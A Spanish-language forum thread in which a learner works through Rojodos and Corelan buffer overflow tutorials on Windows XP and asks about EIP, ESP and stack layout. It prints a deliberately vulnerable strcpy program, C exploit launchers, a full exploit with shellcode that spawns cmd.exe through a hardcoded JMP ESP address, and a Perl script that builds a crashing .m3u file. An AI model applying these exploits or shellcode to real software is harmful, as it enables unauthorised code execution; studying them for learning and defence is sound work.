Mensajes

borrar

??
exploit2.c está explotando a vuln1.c, y en exploit2.c la variable EIP se concatena a evilbuffer, así que la pila no se modifica.
De todos modos lo he probado y me ha salido lo mismo, ya que no pusheo datos, sinó que los meto en la pila mediante un BoF (sustituyo lo que había anteriormente ).

Salu2

[vuln1.c]

Buenos días.

Quiero preguntar sobre sustituir el EIP directamente (en un BoF) sin usar un JMP REGISTRO, el porqué da error.

El código es el siguiente:
vuln1.c

Código (c) [Seleccionar] Expandir

   /* vuln1.c por Rojodos */
   
   #include <stdio.h>
   #include <string.h>
   
   int main (int argc, char **argv)
   {
   char buffer[64]; //Declaramos un array con 64 bytes de espacio
   
   if (argc < 2)
   {
   printf ("Introduzca un argumento al programa\n");
   return 0;
   }
   
   strcpy (buffer, argv[1]); // Aqui es donde esta el fallo
   
   return 0;
   }

Si yo ejecuto exploit1.c, EIP apuntará a TTTT, pero si yo ejecuto exploit2.c, EIP no apuntará a 0x7C86467B (EIP me está apuntando ahora mismo a 0022FF009), por el tema que la pila cambia y tal, pero aunque apuntara a algo que no existe, ese debería ser el EIP, sin necesidad de un JMP registro, al fin y al cabo, es lo mismo que pasar letras TTTTT, ¿no?

exploit1.c

Código (c) [Seleccionar] Expandir

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc,char **argv) {

char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"; // Para llenar el buffer, lo que haya antes del RET ADDRESS y sustituir el RET ADDRESS

argv[1] = "vuln1";
argv[1] = evilbuffer;
argv[2] = NULL;

execv ("vuln1.exe", argv);

return 0;
}


exploit2.c

Código (c) [Seleccionar] Expandir

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc,char **argv) {

char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"; // Para llenar el buffer y lo que haya antes del RET ADDRESS
char EIP[] = "\x7B\x46\x86\x7C"; // RET ADDRESS = 0x7C86467B

strcat(evilbuffer, EIP);

argv[1] = "vuln1";
argv[1] = evilbuffer;
argv[2] = NULL;

execv ("vuln1.exe", argv);

return 0;
}

[exploit_vuln1.c]

Está bien, tienes razón.


Sobre el exploit ya terminado del paper de Rojodos:
(vuln1.c está en el primer comentario del tema).
He cogido system() de msvcrt.dll y JMP ESP de kernel32.dll, ya que también carga esa DLL.

exploit_vuln1.c

Código (c) [Seleccionar] Expandir

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc,char **argv) {

char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"; // Para llenar el buffer y llegar al ret

/* <=== SHELLCODE ===>
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,04h
mov byte ptr [ebp-08h],63h
mov byte ptr [ebp-07h],6Dh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],65h
mov byte ptr [ebp-03h],78h
mov byte ptr [ebp-02h],65h
lea eax,[ebp-08h]
push eax
mov ebx,0x77C293C7
call ebx
*/
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x7B\x46\x86\x7C\xFF\xD3";
//Shellcode que ejecuta system("cmd.exe"), con la llamada a system harcodeada
//en  0x77C293C7 --> \xC7\x93\xC2\x77

char offset[]="\x7B\x46\x86\x7C"; // Offset jmp esp kernel32.dll WinXP SP3 En(US) --> 0x7C86467B --> \x7C\x46\x86\x7C

strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp
strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la shellcode
printf ("Cadena + offset + shellcode en formato printable\n\n");
printf ("%s", evilbuffer);

argv[1] = "vuln1";
argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1
argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos

execv ("vuln1.exe", argv); //Ejecutamos vuln1.exe pasándole evilbuffer como argumento

return 0;
}

Pues bueno, ejecuto el exploit y me da error, le doy a "debug" para que saber qué ha pasado con mi debugger just-in-time, y veo esto:



¿Y eso?

[Sí.]

Sí.
¿No se supone que se busca un JMP ESP en una DLL? Las DLLs no cambian su código :S...

Lo que metes en la pila por el overflow no cambia, lo que cambia es el address del jmp esp en la dll en cada service pack (actualizaciones) o cada vez que inicia windows (Aunque en XP no viene implementado, lo verás cuando te toque bypassear ASLR)
Imagina que hago un findjmp.exe kernel32.dll esp
Y me da una dirección, y con esa dirección hago un exploit y EIP tendría que apuntar a esa dirección, pero EIP resulta que apunta a otra.

No creo que hagas un exploit para atacar a ciegas, si no testeando en el software vulnerable antes, que ya ha sido compilado y se ejecutará con las mismas protecciones en todos los SO familia windows por ejemplo (No sé si me explico). Por lo tanto si será efectivo.
Pero pueden tener programas antiexploits y tú no tienes forma de saber cuáles son, o un firewall, y hay muchos firewalls. Yo mismo tengo más de 1 firewall activo.

¿Qué me dices de la imagen?
¿Se puede evitar que pete un programa por haber ejecutado un exploit?
Básicamente... Lo que haces con los JMP registro es saltar al stack (la RAM) y ejecutar ese código, ¿no?
El código ensamblador está en el disco duro y el .data en la RAM, ¿no?

Salu2

Era hexa, qué fail  .

Acabo de terminar el paper de Rojodos, y me sale todo bien, pero el offset de jmp esp en kernel32.dll cambia nada más ejecuto algo, y así es imposible ejecutar system(), porque cuando ejecuto el exploit cambia el offset (en msvcrt.dll no tengo ningún jmp, y antes de suspender el portátil tenía calls, y ahora tengo push esp ret, eso es posible, ¿no? xD).

Otra cosa, en el paper de Rojodos, cuando introduzco AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU => EIP=TTTT, ESP=dirección que contiene UUUU, pero ESP != UUUU
En cambio, con el código de Rojodos a EBP sí puedo ponerle que apunte a 414141 por ejemplo.
Pero ESP no apunta (sólo contiene) y si uso JMP ESP, salta a la shellcode. Me ha parecido extraño. ¿Y eso?

Por cierto, se dice que no hay que sustituir el EIP por una dirección de memoria, ya que cambia muy a menudo la pila.
Vale, eso lo entendería, pero si los Arguments que pongo antes del EIP son carácteres y siempre van a ser los que ponga en la pila... ¿por qué la dirección que ponga como EIP, que al fin y al cabo introduzco 4 bytes igualmente, cambia a la que yo puse?

Lo de la imagen que me dijiste es esto, aunque si se habrá usado la variable de As anteriormente... aún así, no entiendo qué hace el 0x00 ahí.



Me da la sensación que según qué compilador, qué protección de software, la ruta que habrá usado un servidor, cambia el exploit, y aunque esté claro el PoC, ejecutar un exploit y que funcione en un sistema remoto puede no funcionar aunque sepas mucho...

Yo creo que estas serán la últimas dudas del tema, ya que "ya sé" (sé muy poco aún) hacer exploits.

Y qué decir... ¡Muchísimas gracias! Voy a seguir investigando en estos temas que son muy interesantes .

Sí, terminé el PDF nº1 y tengo esas dudas. No quiero arrastrar mi conocimiento básico erróneo a los otros PDFs.  Realmente entiendo todo lo demás, y los NOPs creo que son para limpiar datos que podrían estar en la pila aún, pero aún así, eso lo veré en los próximos PDFs.

Sé que se alinean datos de 32 bits en la pila (de 4 en 4), sé ensamblador.

Pero eso de introducir 1 byte más que el buffer no me suena (el buffer incluye el '\0').

Pues eso, agradecería que alguien me contestase a lo que pregunté.

Gracias de antemano.

[PDF 1 de Corelan]

Buenas noches.

Acabo de terminar el tutorial (tardé porque estuve haciendo unas herramientas en Python), y tengo dos pequeeeeeeeeñas dudas:

PDF 1 de Corelan
1. ¿Por qué si MyVar necesita 128 bytes, Dev-C++ reserva 98? (sub esp,98) [Página 14]
2. En teoría, si ejecuto el exploit, éste se mete en la pila hacia abajo, pero en la imagen tengo que se mete hacia arriba de la pila (los 41 deberían estar donde están los 43 y viceversa):


Además, si strcpy termina en '\0', entonces 26074 As / 4 Bytes = 6518.5, y debería dar 6518.75, así está claro que el último byte es el carácter nulo, pero ese 0.25 que nos falta lo ocupa una 'A'

¿Qué ocurre?

exploit.pl

Código (perl) [Seleccionar] Expandir

my $file= "crash.m3u";
my $junk= "A" x 26074;
my $eip= "BBBB";
my $espdata = "C" x 1000;

open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "Archivo m3u creado exitosamente\n";

Está bien, voy a compilar con gcc, probar a seguir el tutorial de Corelan sobre BoF y hacer el exploit y comento.

PD.: Aunque he compilado con gcc, he ejecutado el exploit de Rojodos y no ha funcionado.

[Dudas referentes al exploit:]

Buenas .:UND3R:.

Entonces no entiendo por qué Rojodos aconsejó que compiláramos con MVC++ 2005 si no se podía explotar de forma sencilla...

¿Podrías decirme qué "métodos" están protegiendo al programa, por favor? Según habíais dicho, sobreescribía el SEH :/

¿Entonces sugieres que siga todos los tutoriales de Corelan compilando con gcc (Dev-C++ usa gcc)? Aunque gcc tiene sus propias DLL para funciones como strcpy, y no llama a las de Windows, aunque eso da igual...



Dudas referentes al exploit:
Se sustrae a ESP 64 bytes
se pushea el ret address porque hemos llamado a strcpy
; push ebp ; Esto no interviene
; mov ebp,esp ; Esto no interviene
Se van metiendo en la pila las 76 As. Si lo compilo con MCV++ se meten hacia abajo, ¿no? Me refiero a que con gcc deberían meterse hacia arriba hasta un punto en que arriba se sustituye el ret address por lo que pongamos nosotros (que será un jmp esp)
Ahora metemos 20 NOPs en la pila...
Y finalmente metemos 50 bytes de shellcode

Pero si "metemos", y no "pusheamos" los datos, por qué ESP apuntará a nuestra shellcode?  Porque se terminará alguna parte o algo, pero no termino de verlo.

Gracias de antemano .